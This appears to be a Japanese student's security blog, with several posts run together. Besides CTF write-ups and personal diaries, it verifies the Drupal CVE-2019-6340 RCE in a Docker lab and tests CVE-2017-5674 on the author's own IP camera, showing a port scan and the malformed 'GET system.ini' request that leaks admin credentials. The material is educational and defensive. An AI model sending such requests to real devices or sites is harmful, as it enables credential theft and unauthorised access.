Drupalの脆弱性 (CVE-2019-6340) を検証してみた話
はじめに
TLでDrupalの脆弱性 (CVE-2019-6340) が話題になっていたので検証してみました.
本脆弱性の概要
www.drupal.orgによると一部のフィールドタイプがフォーム以外からのデータを正しくサニタイズしないため,RESTful Web Servicesなどの REST API を利用するモジュールを有効としている場合に任意のPHPコードを実行される可能性があるとのことです.
本脆弱性の影響を受ける環境
本脆弱性の影響を受ける可能性がある環境は以下の通りです.
本脆弱性を利用した攻撃の検証
検証環境の準備
Drupal 8.6.9 に対して検証を行うためにDocker
を利用しました.
Docker Hub
にDrupalのイメージがあるので検証環境の準備は簡単です.
以下のコマンドを実行すると
> docker run --name drupal_service -p 8080:80 -d drupal:8.6.9
http://localhost:8080/
に以下のような画面が表示されます.
English
-> [Save and continue]
-> Standard
-> [Save and continue]
-> SQLite
-> [Save and continue]
のように遷移するとインストールが始まります.
インストールが終わるとサイトの環境設定を求められるので適当に設定します.
設定が完了するとトップ画面が立ち上がります.
次にRESTful Web Servicesの設定を行います (デフォルトでは有効になっていないので).
Manage
-> Extend
-> WEB SERVICES
と遷移し,設定を全て有効にします.
次にコンテンツの追加を行います.
Manage
-> Content
-> Add Content
と遷移し,コンテンツの追加を行います.
コンテンツの追加に成功するとhttp://localhost:8080/node/1
にページが生成されます.
以上で検証環境の準備は終わりです.
攻撃手法
上記のサイトによると Drupal 8.6.9 と 8.6.10を比較した際にRESTモジュールでFieldItemNormalizer.php
が新しいトレイトとしてSerializedColumnNormalizerTrait.php
を使用していることが分かるとのことです.
この新しいトレイトではcheckForSerializedStrings()
メソッドを提供しています.
checkForSerializedStrings()
メソッドは名前の通り,チェック対象にシリアライズされた文字列が格納されている場合に例外を投げるメソッドです.
この修正内容からパッチ適用前のDrupalではシリアライズされた文字列に対してサニタイズが行われていないため,RCEが可能になっていると推測することができます.
そのため,checkForSerializedStrings()
メソッドが適用されているフィールドを特定し,PHPGGCを使用してペイロードを作成すれば攻撃が可能になります.
検証結果
以下がPHPのsystem()
を噛ませたペイロードを作成し,OSコマンドを実行している例です.
キャッシュチェック(X-Drupal-Cache
)で弾かれたノードはスキップしています.
本脆弱性に対する対策
脆弱性修正済みバージョンのDrupalが公開されているのでアップデートを適用することで対策が可能になります.
まとめ
- docker便利
- PHPGGC便利
- Drupalは早めにアップデートしましょう
Saudi and Oman National Cyber Security CTF 2019 Write-up
- はじめに
- 成績
- Just Another Conference [General Information, 50]
- Back to basics [Web Security, 50]
- I love images [Digital Forensics, 50]
- Hack a nice day [Digital Forensics, 100]
- I love this guy [Malware Reverse Engineering, 100]
- まとめ
はじめに
2019/02/02 ~ 2019/02/10 に開催されたSaudi and Oman National Cyber Security CTFに個人で参加しました.
成績
5問解いて 105位 (1問以上解いた457人中) でした.
Just Another Conference [General Information, 50]
famous Cybersecurity conference runs by OWASP in different locations
アプローチ:ググる
AppSec
フラグ提出チェック問ですね.
Back to basics [Web Security, 50]
not pretty much many options. No need to open a link from a browser, there is always a different way
アプローチ:POST
問題文に色々書かれてますが気にせずにリンクを踏んでみるとwww.google.com
にリダイレクトされてしまうことが分かります.
curl
でGETリクエスト
を投げて確かめてみます.
> curl http://35.197.254.240/backtobasics/ <script> document.location = "http://www.google.com"; </script>%
GETリクエスト
の情報量が微妙だったので基本に帰って (back to basics) POSTリクエスト
を投げてみます.
> curl -X POST http://35.197.254.240/backtobasics/ <!-- var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5]) -->%
js
が降ってきたので整形してあげます.
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"]; function reverse(_0xa6e5x2) { flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0]) } console[_0x7f88[4]]= reverse; console[_0x7f88[4]](_0x7f88[5])
読みにくいの読みやすくします.
flag = "ceab068d9522dc567177de8009f323b2".split("").reverse().join("")
この結果がフラグになります.
2b323f9008ed771765cd2259d860baec
I love images [Digital Forensics, 50]
A hacker left us something that allows us to track him in this image, can you find it?
アプローチ:baseXX
> file godot.png godot.png: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
> strings godot.png | tail *TYlT_qP vL.I IK@ VMqa.% pDuF( op+P q}'ZA0 O-T& IEND IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======
png
にbase64
っぽい文字列が埋め込まれているのが分かります.
早速デコードしようとしますが上手くいきません.
> echo 'IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======' | base64 -D !�� �%��!}�5��I}�0VV(�T=%
ここでrot13系が噛んでるのかなと考え,rot1~rot25までを総当たりしますが上手くデコードできず,無限に時間を溶かしました.
もう一度IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======
をよく眺めてみると小文字が出現していないことやパディングが多すぎることに違和感を覚え,ようやくエンコード方式が違うことに気が付きました.
エンコード方式が違うといってもすぐに思いつくエンコード方式がbase58
(ビットコインのあれ)くらいだったので色々調べてみるとbase32
がそれっぽいことが分かりました.
あとはオンラインツールでデコードしてあげるとフラグを取得できます.
emn178.github.io
FLAG{Not_Only_Base64}
Hack a nice day [Digital Forensics, 100]
can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}
アプローチ:Steganography
> file info.jpg info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3
comment: "badisbad"
が怪しいですね.
> strings info.jpg | head JFIF badisbad !1!%)+/.. 383-7(-.+ ---+------+----+-----+----+-------+------------7-- $3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz )((* YZI{0
ヘッダから恐らくSteganography
であることが分かります(経験則).
早速steghide
で埋め込まれたファイルを抽出します.
この際,passphrase
はbadisbad
を用いました.
> steghide extract -sf info.jpg Enter passphrase: wrote extracted data to "flaggg.txt".
あとはflaggg.txt
を読めば終わりです.
> cat flaggg.txt flag{Stegn0_1s_n!ce}
flag{Stegn0_1s_n!ce}
I love this guy [Malware Reverse Engineering, 100]
Can you find the password to obtain the flag?
アプローチ:デコンパイル
> file ScrambledEgg.exe ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
.Net
系はdnSpy
に投げるのが自分の中で定石になりつつあるので早速デコンパイルしてみます.
// Token: 0x04000001 RID: 1 public char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray(); MessageBox.Show(new string(new char[] { this.Letters[5], this.Letters[11], this.Letters[0], this.Letters[6], this.Letters[26], this.Letters[8], this.Letters[28], this.Letters[11], this.Letters[14], this.Letters[21], this.Letters[4], this.Letters[28], this.Letters[5], this.Letters[14], this.Letters[13], this.Letters[25], this.Letters[24], this.Letters[27] }));
パスワードを見つけようとしたらフラグを見つけてしまったのでデコードします(恐らく想定解法ではない).
#!/usr/bin/env python3 # -*- coding: utf-8 -*- if __name__ == '__main__': letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_' flag = [ letters[5], letters[11], letters[0], letters[6], letters[26], letters[8], letters[28], letters[11], letters[14], letters[21], letters[4], letters[28], letters[5], letters[14], letters[13], letters[25], letters[24], letters[27]] print(''.join(flag))
> python solve.py FLAG{I_LOVE_FONZY}
まとめ
SecHack365@沖縄に行ってきた話
SecHackのオフラインイベントで沖縄に行ってきました(02/01~02/03)
0日目 (01/31)
21:00
デモの最終確認を始める…
28:30
就寝…
1日目(02/01)
05:00
起床…(結局寝れず横になっただけ)
08:00
羽田空港到着.
睡眠不足からくる乗り物酔いで既に辛かった…
12:30
那覇空港到着.
お昼にソーキそばを食べようとしていたが乗り物酔いが酷すぎて諦めた…
13:30
空港のロビーでデモの確認や発表中にしゃべることの確認をしながら他のプロジェクトの人と雑談してた.
14:30
会場到着.
15:30
成果発表会開始.
発表順は年齢順らしく,自分が所属するプロジェクトはメンバー全員がM1なので1日目の後半に発表があった.
17:00
成果発表.
事前に伝えたいことを原稿にまとめていたが,発表中に頭から抜けてしまい,説明不足になってしまうところがあった.
やらかしたな〜と思っていたが質疑応答でその部分について聞かれ,上手く補足できたので良かった.
18:00
夕飯.
19:00
成果発表会再開.
自分達の発表は終わっていたので気楽に聞けた.
21:00
Self Night Challenge
チームメンバーが3月の外部向け発表会に向けて追加実装を行う中自分はゆゆ式10巻を読んでいた(?)
バックエンド担当に新APIが実装されたらオレも追加実装するわ〜とか言ってた気がする
25:30
就寝.
2日目(02/02)
08:15
起床チャレンジ成功.
早起きすると朝ごはんがおいしい!
09:00
成果発表会再開.
実用的なものからアカデミックなものまでレベルの高い発表が続いた.
12:00
昼食.
13:00
成果発表会再開.
低レイヤ高校生/高専生のレベルが高過ぎて自信喪失するのと同時にもっと頑張っていかなきゃと改めて思った.
18:00
夕飯.
22:00
SecHack365最後の夜ということなので何人かのトレーニーで集まり,パソコンをいじりながら色々な話をした.
どんな話をしたのかについては書かないが最後にざっくばらんな話ができて本当に面白かった.
なぜそうなったのかは覚えていないが色々な話をしていたら無性にCTFがしたくなったのでNeverLAN CTF(CTF timeを開いたら開催中だった)に参加した (深夜テンション).
以下Write up.
Alphabet Soup [Crypto]
MKXU IDKMI DM BDASKMI NLU XCPJNDICFQ! K VDMGUC KW PDT GKG NLKB HP LFMG DC TBUG PDTC CUBDTCXUB. K'Q BTCU MDV PDT VFMN F WAFI BD LUCU KN KB WAFI GDKMINLKBHPLFMGKBQDCUWTMNLFMFMDMAKMUNDDA
アプローチ:換字式暗号
問題文を見た限り何も手がかりがなかったので色々と試した(rot13など).
結果的に換字式暗号だった.
NICE GOING ON SOLKING THE CRYPTOGRAM! I WONDER IF YOU DID THIS BY HAND OR USED YOUR RESOURCES. I'M SURE NOW YOU WANT A FLAG SO HERE IT IS FLAG DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL
人力でやると時間がかかるのでqiupqiup
を使った.
quipqiup.com
DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL
Super Old School [Crypto]
This image is trying to tell you something.
アプローチ:Babylonian numerals
色々と調べてみるとBabylonian numerals
であることが分かる.
あとは数字とアルファベットを対応させれば終わり.
25 15 21 18 6 12 1 7 9 19 19 15 13 1 14 25 3 18 25 16 22 15 19 Y O U R F L A G I S S O M A N Y C R Y P T O S
SOMANYCRYPTOS
February 14th [Crypto]
3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19
______________________________________________________________ | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21| | ______________________________________________________________| J O W W A S Q L L W E I U S B A E S I P L O W W A Q A P K E Q I O O Q D Z R D O U E E D E F B W I J M I K M L W E C Y E I R O D Z S D M P W H L A L K M E L K U W Q T W L D D L V I D W O S G I N Z U K K I Z G D Z M H M D W A Q Y L I S B V E P M P B Q Z E B G I J Q S A T M S W J C W L V Q H M S G N U O O D F Z D B A T K N R U D K I P L S P I L R F Q B H H B U O Q T U I L F U K W I O Q P L I V A G I I U A H Y P Y L T Y F Y K W D K K C Q O O Z R W K T S T O R D C Q M A J L F O W Y R B W D M G O E I D T V L E Z Q H V I I W S O Q F N N M D K Q P H A W M S Q L Y O I M Y A K F W I F U J I Y Q T L A W O H P R Q W S O Q S T N W N O R U Y O X S E E L I W X D P A A P O E D U F I P P C A W S S P S Z X T S I O Y X W T M K Q I H D C O A W Z W Z U P O U W N P G K L Z Y U X F K Z S S V J G K P R K M K H I G S U W G I M X Z E S L C G E F J Q Z V U F A R Q H U K B D U L P F L W T H R X B
アプローチ:読む
3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19 W E L L I A M G L A D T H A T I S O V E R WELL I AM GLAD THAT IS OVER
WELLIAMGLADTHATISOVER
Z3r0 C00l Bruh! [Crypto]
Hackers keep secrets.
アプローチ:Steganography + エスパー + Vigenere cipher + エスパー
> strings hackers.jpeg | head -n 10 JFIF +&.&#&.&D6006DOB?BO_UU_xrx +&.&#&.&D6006DOB?BO_UU_xrx $3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz sLPA8 VUPrp+Kh"o:W< sN[fa 75N]N
ヘッダが怪しいのでSteganography
を疑った.
steghide
を利用しファイルの抽出を行った.
passphrase
はエスパーでneverlanctf
にした.
> steghide extract -sf hackers.jpeg Enter passphrase: the file "Ohno.txt" does already exist. overwrite ? (y/n) wrote extracted data to "Ohno.txt".
Ohno.txt
の中身を見てみる.
> cat Ohno.txt I wonder what this is???? Fowbjcsniuwcwscotsxvevvko
Fowbjcsniuwcwscotsxvevvko
をデコードすればフラグを取得できることが何となく分かる.
いくつかの手法を試す.
rot13 => x base64 => x vigenere cipher => Yourflagismyfavoritemovie
結果的にvigenere cipher
でデコードできた.
デコードの際,KEYはエスパーでHACKERS
にした.
myfavoritemovie
26:00
解散 + 就寝
Crypto問が全然Cryptoじゃなかったと文句をいいながら寝た.
3日目 (02/03)
08:00
起床チャレンジ成功.
09:00
優秀修了生発表.
自分達のプロジェクトは選抜されなかったが,選抜されたプロジェクトはどれも素晴らしいものだったので納得の結果だった.
後から聞いた話によると自分達のプロジェクトは惜しくも選抜入りを逃したらしい(最終選考には残っていた)
12:00
昼食.
13:00
レクリエーション.
バスで斎場御嶽に行った.
3日間ずっと室内にいたのでやっと沖縄に来たんだなぁという気持ちになった.
16:00
那覇空港で解散.
23:30
自宅到着.
まとめ
- 成果発表疲れた
- 優秀修了生に選ばれなくて悔しかったがいい経験ができたと思う
- 低レイヤ高校生強すぎる
- これからも頑張っていく(まずは3月の外部向けの成果発表会)
- ルートビアは太る
IoT: Webカメラで遊んだ話
はじめに
先日下記のツイートがTLに流れてきました.
NHK ニュースウオッチ9
— あかん食堂 (@11942694) 2019年1月25日
▽サイバー攻撃対策?家庭のIoT機器に国が“無差別侵入”調査▽東京
ホワイトハッカーがテレビにでてた。
しらんけど( ^ω^) pic.twitter.com/34tS9HuXGS
CVE-2017-5674
が遂にTVデビューしましたね (ちょっとテンションがあがった).
今回は二番煎じですがWebカメラとCVE-2017-5674
について色々と書いていきます(唐突).
Webカメラ
モデル
今回はVstarcam C7823WIP Mini WIFI IP Camera
を使って検証していこうと思います.
上記の動画で扱っていたWebカメラも恐らくVstarcam
だと思います.
【KEIAN/恵安】 VSTARCAM Mini WIFI IP Camera 技術基準適合認定済み有線/無線LAN対応ネットワークカメラ C7823WIP
- 出版社/メーカー: KEIAN
- 発売日: 2015/10/08
- メディア: Personal Computers
- この商品を含むブログを見る
ファームウェアのバージョン
CVE-2017-5674
A vulnerability in a custom-built GoAhead web server used on Foscam, Vstarcam, and multiple white-label IP camera models allows an attacker to craft a malformed HTTP ("GET system.ini HTTP/1.1\n\n" - note the lack of "/" in the path field of the request) request that will disclose the configuration file with the login password.
CVE-2017-5674
とは 不正な形式のHTTPリクエストを送ることでVstarcam
などのIPカメラで使用されるGoAhead webサーバの設定ファイル(ログインパスワードを含む)が公開されてしまう脆弱性です.
検証
WebカメラのIPアドレスの特定
> arp -a | grep 48:2:2c ? (192.168.2.3) at 48:2:2c:40:87:15 on en0 ifscope [ethernet]
WebカメラのIPアドレスは192.168.2.3
であることが分かりました.
ポートスキャン
> nmap -p- -sV 192.168.2.3 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 01:50 JST Nmap scan report for 192.168.2.3 Host is up (0.024s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet security DVR telnetd (many brands) 81/tcp open http GoAhead WebServer 9600/tcp open tcpwrapped 10080/tcp open amanda? 10554/tcp open rtsp Nmap done: 1 IP address (1 host up) scanned in 62.99 seconds
ポートスキャンの結果からGoAhead WebServer
は81/tcp
で動いていることが分かりました.
補足
ファームウェアのバージョンが異なるモデルではhttp
はランダムポートになっています.
81/tcpにアクセス
ユーザ名とパスワードの入力を求めらます.
パスワードの漏洩
CVE-2017-5674
の通りに不正なGETリクエストを送信して設定ファイルを漏洩させます.
> telnet 192.168.2.3 81 Trying 192.168.2.3... Connected to 192.168.2.3. Escape character is '^]'. GET system.ini HTTP/1.1 200 OK Date: Mon Jan 28 17:06:13 2019 Server: GoAhead-Webs Last-modified: Mon Jan 28 16:40:00 2019 Content-length: 4052 Content-type: text/plain Cache-Control:no-cache Connection: close IPCAM������������������������������������������`0O\���time.nist.gov/ adminp4ssw0rd ~~~~������������������������������������������5W �W G �� �j R :)VSTB000000ABCDE192.168.1.126Connection closed by foreign host.
admin
, p4ssw0rd
が降ってきました.
再度81/tcpにアクセス
先程漏洩させたユーザ名とパスワードを使って81/tcp
にアクセスしてみると管理画面が表示されました.
Sign in
適当にSign in
するとカメラの映像が表示されます.
その他
Vstarcam C7823WIP Mini WIFI IP Camera
はCVE-2017-5674
以外にも面白い情報を提供してくれるので雑に紹介します.
初回起動時にユーザ名とデフォルトパスワードが平文で流れる
パケットキャプチャすると見えます.
www[.]baidu[.]com
何のためかは分かりませんがiPhoneアプリから接続するとwww[.]baidu[.]comの名前解決をします.
AWSとの通信は何となく目的が分かるのですがbaiduとは何やってるんだろう?
まとめ
参考文献
動画の方の資料を参考にさせていただきました.
IoTSecJP ~製造と販売の問題~
http://ruffnex.net/iotsecjp/pdf/vuln.pdf
InterKosenCTF 2019 Write-up
はじめに
01/18~01/20に開催されたInterKosenCTFにチームNekochanNano!で参加しました.
NekochanNano!は1250pts獲得して12位(71チーム中)でした.
今回は自分が解いた2問(350pts)のWrite-upです.
[Cheat 100pts] lights out
Turn all the lights on.
ライツアウトは、5×5の形に並んだライトをある法則にしたがってすべて消灯 (lights out) させることを目的としたパズル。(Wiki)
アプローチ:デコンパイル
ライツアウトのソルバ自体はググればたくさん出てきます.
ただ,今回のライツアウトは20×20なので愚直にやると解けなそうです.
なので正攻法?(デコンパイル)で解きました.
LightsOut.exe
をdnSpy
でデコンパイルすると以下のようなコードを発見できます.
github.com
// Token: 0x06000017 RID: 23 RVA: 0x0000246C File Offset: 0x0000066C // Note: this type is marked as 'beforefieldinit'. static 745BBE96-A34C-4723-B7D4-089F48D57F2E() { 745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>> = new byte[] { 200, 223, 198, 210, 158, 149, 232, 159, 223, 216, 145, 155, 226, 149, 217, 238, 245, 232, 253, 247, 253, 235, 250, 198, 193, 199, 132, 197, 223, 212, 128, 217, 230, 242, 215, 237, 189, 224, 238, 235, 247, 240, 227, 181, 242, 180, 219, 202, 200, 196, 252, 224, 240, 171, 241, 244, 241, 167, 252, 253, 239, 200, 247, 253, 217, 223, 156, 148, 173, 128, 130, 138, 144, 130, 148, 148, 138, 134, 144, 140, 149, 149, 139, 216, 179, 158, 149, 147, 180, 156, 130, 156, 186, 158, 147, 157, 190, 184, 232, 134, 187, 187 }; for (int i = 0; i < 745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>.Length; i++) { 745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>[i] = (byte)((int)745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>[i] ^ i ^ 170); } }
排他的論理和を使って怪しい処理をしてますね.
同様の処理を行った結果をデコードするとflag
が得られます.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- if __name__ == '__main__': messages = [200,223,198,210,158,149,232,159,223,216,145,155,226,149,217,238,245,232,253,247,253,235,250,198,193,199,132,197,223,212,128,217,230,242,215,237,189,224,238,235,247,240,227,181,242,180,219,202,200,196,252,224,240,171,241,244,241,167,252,253,239,200,247,253,217,223,156,148,173,128,130,138,144,130,148,148,138,134,144,140,149,149,139,216,179,158,149,147,180,156,130,156,186,158,147,157,190,184,232,134,187,187] flag = [] for i, message in enumerate(messages): flag.append(message ^ i ^ 170) print(bytes(flag))
> python solve.py b'btn{0:D2}{1:D2}KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}Congratulations!MainFormLights Out'
KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}
[Cheat 250pts] anti cheat
Get a super good score!
アプローチ:javascriptの書き換え
問題文から一定以上のスコアを獲得すればflag
が表示されることを読み取ることができます.
チートを行うためにChromeのデベロッパーツールを使用してjsコードを確認すると以下のようになっています.
かなり読みにくいですがscore
という変数名を手がかりにスコアの書き換えに利用できそうな処理を探していきます.
score
で検索をかけると以下のようなコードを発見できます.
_d3(8,8,("SCORE: "+_G3(_e3._r3)));
このコードは恐らく左上のスコアを表示している部分の処理を行っているので_e3._r3
に関する処理を書き換えればスコアに影響を与えることができそうだということが分かります.
_e3._r3
で検索をかけると以下のようなコードを発見できます.
if((_e3._r3>=1000)){~~~~~}
このコードからスコアが1000以上になった場合に何かしらの処理が行われることが読み取れます.
そのため,コードを以下のように書き換えて再度ゲームをプレイしてみます.
if((_e3._r3>=1)){~~~~~}
このようにflag
が表示されました.
KOSENCTF{bASIc_buT_STrOng_AnTI_chEAT}
まとめ
- Web, Cryptoが思うように解けずつらくなった…
- 精進しなければ…
- チームでCTFやるの楽しい!
- Rev,Pwn投げっぱなしだったのでなんとかしたい…
チームメンバのWrite-up
2018年の振り返りと2019年の目標
はじめに
完全にポエムになってしまいますが,2018年の振り返りと2019年の目標について書きます.
多分技術的な話はほとんどしないと思います.
2018年の振り返り
1月
ゼノブレイド
ゼノブレイド2にハマってしまい,虚無のような冬休みを過ごした…
1週間ちょっとで100時間くらいプレイしてしまった気がします.
- 出版社/メーカー: 任天堂
- 発売日: 2017/12/01
- メディア: Video Game
- この商品を含むブログ (7件) を見る
初めての学会発表
そこそこ緊張しましたが,卒論発表の前に学会発表を経験できたので良かったです.
開催地が新潟だったということもあり,新潟二郎もしっかり食べてきました.
卒論提出
学会に向かう前に提出した卒論がタイトルにスペース(空白)が入っていないという理由でリジェクトされてしまったため,学会帰りの新幹線で慌てて修正した気がします.
提出締切1時間前に大学に到着し,無事に提出できました.
2月
将棋
当時放送していたアニメと藤井5段(当時)に影響され,研究室の留学生と一緒に将棋にハマってしまいました.
ノーマル四間飛車と美濃囲いを覚えて,留学生と1日1局指していた記憶があります.
卒論発表
多少緊張しましたが炎上することもなく無事に終わりました.
やっぱり卒論発表前に1度学会発表を経験しておくとフィードバックを反映できるため,無難に発表をこなせると思います.
卒業確定
なんとか落単せずに卒業要件を満たすことができました…
3月
冬キャン!
またアニメに影響されて友人と冬キャン!をしました (現地まで片道60kmですが自転車圏内なので自転車で行きました).
当日は最低使用温度5℃のシュラフで寝たのですが,最低気温が2℃だったので案の定風邪を引きました(それはそう).
風邪を引いた状態で自転車で帰宅するのは結構辛かった記憶があります.
友人はモザイク処理しました
卒業式
人生で最も卒業感がない卒業式だったと思います.
4月からも同じ大学の大学院に通うのでそれはそう
卒業研究で表彰されたりしました.
4月
入学式
ITFを聴きに行った.
研究室のメンバーが増える
外部M1と新B4が配属されたため,元々3人しかいなかった研究室のメンバーが3倍以上になりました.
この頃ようやく研究室に行けば誰かがいるという状態になりました.
3月までは研究室に行っても自分しかいないというのが当たり前だったので感動しました.
多分新しくできた研究室あるあるなのかもしれません.
5月
卒業旅行?
京都と岡山に旅行に行ってラーメンを食べました.
SecHack365の選考に通過
セキュリティ界隈の強い人達に出会えたのが本当に大きかった.
SecHack365@神奈川
CTFを始める
SECCON Beginners CTF に参加し,セキュリティ何もわからんとなりCTFを始めました.
6月
TA業務終了
4月から担当していたTA業務が終了しました.
演習時のサポートと課題の採点が主な業務でしたが,自分にとっていい復習になりましたし,お金も貰えて一石二鳥でした.
SecHack365@北海道
7月
MBP購入
自分にとって3台目のMBPを購入しました.
補足
1台目:弟にコーラをかけられて死去 (2011/10 ~ 2012/10)
2台目:スペック不足で買い替え (2012/10 ~ 2018/07)
インターン (1)
某社の1 week インターンに参加しました.
自分の専門分野とはあまり関係ないところでしたし,
インターンの内容もグループワーク(?)がメインであまり実践的とはいえないものでしたが,
参加者や社員さんのロジカルな部分に圧倒されました.
この頃,優秀な人達に囲まれて仕事ができたら楽しそうだなという思いが芽生えました.
8月
SecHack365@福岡
夏キャン!
帰省した際に友人と夏キャン!をしました.
9月
インターン (2)
某社の 2 weeks インターンに参加しました.
ここでの業務内容は自分の専門分野に近いものであり,
就職のイメージをより具体的にできた気がします.
上司と二郎インスパイアに行くという実績を解除しました.
CTFのwrite-upを書き始める
5月から時間がある週末にはCTFに取り組んでいましたが,write-upをほとんど書いていなかったため(やるだけになっていたため),知識があまり定着していませんでした.
なので,9月以降はできるだけwrite-upを書くようにしています(まともに解けたときは).
10月
SecHack365@山形
CODE BLUE
CODE BLUE に学生スタッフとして参加しました.
CTFで入賞?
嬉しかったです.
11月
研究と大学関連の雑務
10月にCTFで遊んだりやSecHack関連のあれこれをやっていたせいで研究の進捗が微妙でした.
また,大学関連の雑務もたまっており,毎日何かしらのタスクを消化しなければいけなく,かなり忙しかったという記憶しかありません.
面接
この頃から早期選考(就活)が始まりました.
12月
SecHack@愛媛
論文
SecHack愛媛回が終わってから2週間ほどは実験をしたり,論文を書いていました.
内定
インターンにいった某社から内定を頂きました.
今後についてはじっくり考えたいと思います.
2019年の目標
国際学会で発表
大学院生なので(それはそう).
研究頑張ります.
SECCON 本戦(国内)に出場
現在,2チームに所属しているのでどちらで参加するかは予選までに決めておかなければいけませんが,どちらのチームで参加した場合でも戦力になれるように日々精進したいと思います.
個人的にはCrypto, Webの勉強を続けつつ,Rev, Pwnにも手を広げていけるように頑張っていきたいです.
(SECCONはRev,Pwnができないと楽しめないので)
就活
インターンや早期選考を通じて,自分のやりたいことがようやく見えてきたのであと何社か受けてみようと思っています.
健康
2018年は想像していたよりも忙しく,趣味の1つである自転車にほとんど乗れませんでした.
(2017年の走行距離:約3000km, 2018年の走行距離:約200km)
加えて,家の近くに美味しい二郎インスパイアができてしまい,不健康が加速する1年になってしまいました.
2019年はラーメンを抑えつつ,自転車に乗って健康な1年にしたいです(雑).
セキュリティ
一応自分の専門はセキュリティなのですが,狭く浅くしかセキュリティを知りません(セキスペレベル)…
2019年はせめて広く浅く,できれば広く知った上で1つの分野を深かめていきたいなと思います.
SecHack365@愛媛に行ってきた話
SecHackのオフラインイベントで愛媛に行ってきました(11/30~12/02)
0日目 (11/29)
23:00
学会の講演締切の前日ということで色々と忙しかった…
夕飯を作る気力なかったので研究室帰りにカレーうどんを食べた.
家に帰ってから15分程度で愛媛回の宿泊準備を終えて就寝.
1日目 (11/30)
05:30
起床.
09:00
羽田空港到着.
空港での待ち時間は自分の担当箇所のデモの確認をしていた.
11:20
松山空港到着.
人生初の四国だったのでテンションがあがった.
噂では聞いていたが本当に蛇口からみかんジュースがでて笑ってしまった.
11:30
リムジンバスにのって道後温泉に向かった.
道中で路面電車?を見かけたので鉄オタに写真を送ってみたら「坊っちゃん列車じゃん。こいつ方向転換面白いから絶対見ろよ」と言われたのですが見れませんでした.
12:10
道後温泉駅着.
12:30
昼飯🍜
14:20
会場到着.
自分たちのチームの発表までプレゼン資料の手直しをしていた.
17:00
プレゼン.
フィードバックとして「全体的によくできてるんだけど尖ったものがない」「最初から80点を目指して作ってる感じ」「パッションを持てばもっと尖ったものができる」というアドバイスを多く頂いた.
既存サービスを調査してそことの差分を推したのですがそれでも不十分ということでした.
尖ったものを作るのって難しいなと思った.
18:00
夕飯(圧倒的人権).
19:00
資料を直しつつ他の人達の発表を聞いた.
20:00
米空軍少佐(サイバー部隊)の講演を聴講.
日本とアメリカのセキュリティ意識の差を痛感した (正確には自衛隊 と US AIRFORCE の差) .
21:00
温泉(圧倒的人権).
26:00
セルフナイトチャレンジ.
チームメンバがゴリゴリ進捗だしてるときに自分はパケットキャプチャして遊んでました .
2日目 (12/01)
08:30
起床チャレンジ失敗.
5分で着替えて5分で朝食を食べた.
09:00
デモ & ポスター発表.
ここでも1日目と同様のアドバイスをもらった.
尖ったプロダクトとは…
12:30
昼飯.
13:30
散策.
レクリエーションとして近くの山を散歩した.
滝と紅葉がいい感じだった (語彙力).
14:00
15:00まで自由時間ということだったので部屋に戻って昼寝した.
15:00
修了生LT.
修了生強い人しかおらんな…となった.
友利奈緒(セキュリティ)さん強スギィ!
15:30
沖縄回までに何をやっていくのかを話し合った.
あとはシステム構成図やポスターについてフィードバックをもらったのでそこを修正したり,脆弱性検査の詰めが甘かったのでそこを確認したりしてた.
18:00
夕飯 (圧倒的人権).
19:00
ゲスト講演 (1).
内容はAIとの付き合い方についてでした.
簡単な技術紹介の後はマインド的な部分の話でした.
なかでも「技術を手段として使っていくというのは確かにいいことだけれども技術を目的として極めていく人間がいないと新しいものは生まれてこない.みなさんにはそういう人になってもらいたい.」という言葉は就活で身の振り方を考えていた自分には結構刺さりました.
20:00
ゲスト講演 (2).
桂三幸氏による寄席でした.
やはりプロの方ということで面白かったです.
21:00
温泉 (圧倒的人権).
26:00
セルフナイトチャレンジ.
3日目 (12/02)
08:30
起床チャレンジ失敗.
無意識にアラームを止めてしまうのでもうだめ.
5分で着替えて朝食へ
09:00
自分たちの発表までは資料直しと今後についての話し合いをしていました.
この話し合いでちょっとおもしろいアイデアがでたので頑張り次第では尖ったプロダクトになるのでは???となりました.
11:45
プレゼン.
発表時間を3分オーバーしてしまった.
プレゼンが終わってから「これ学会だったら強制終了やな(笑)」という話をしたのですが笑い事ではないですね.
本番は時間厳守でいきます (?)
12:00
昼飯.
13:00
資料直し.
14:30
クロージング.
15:00
解散.
16:20
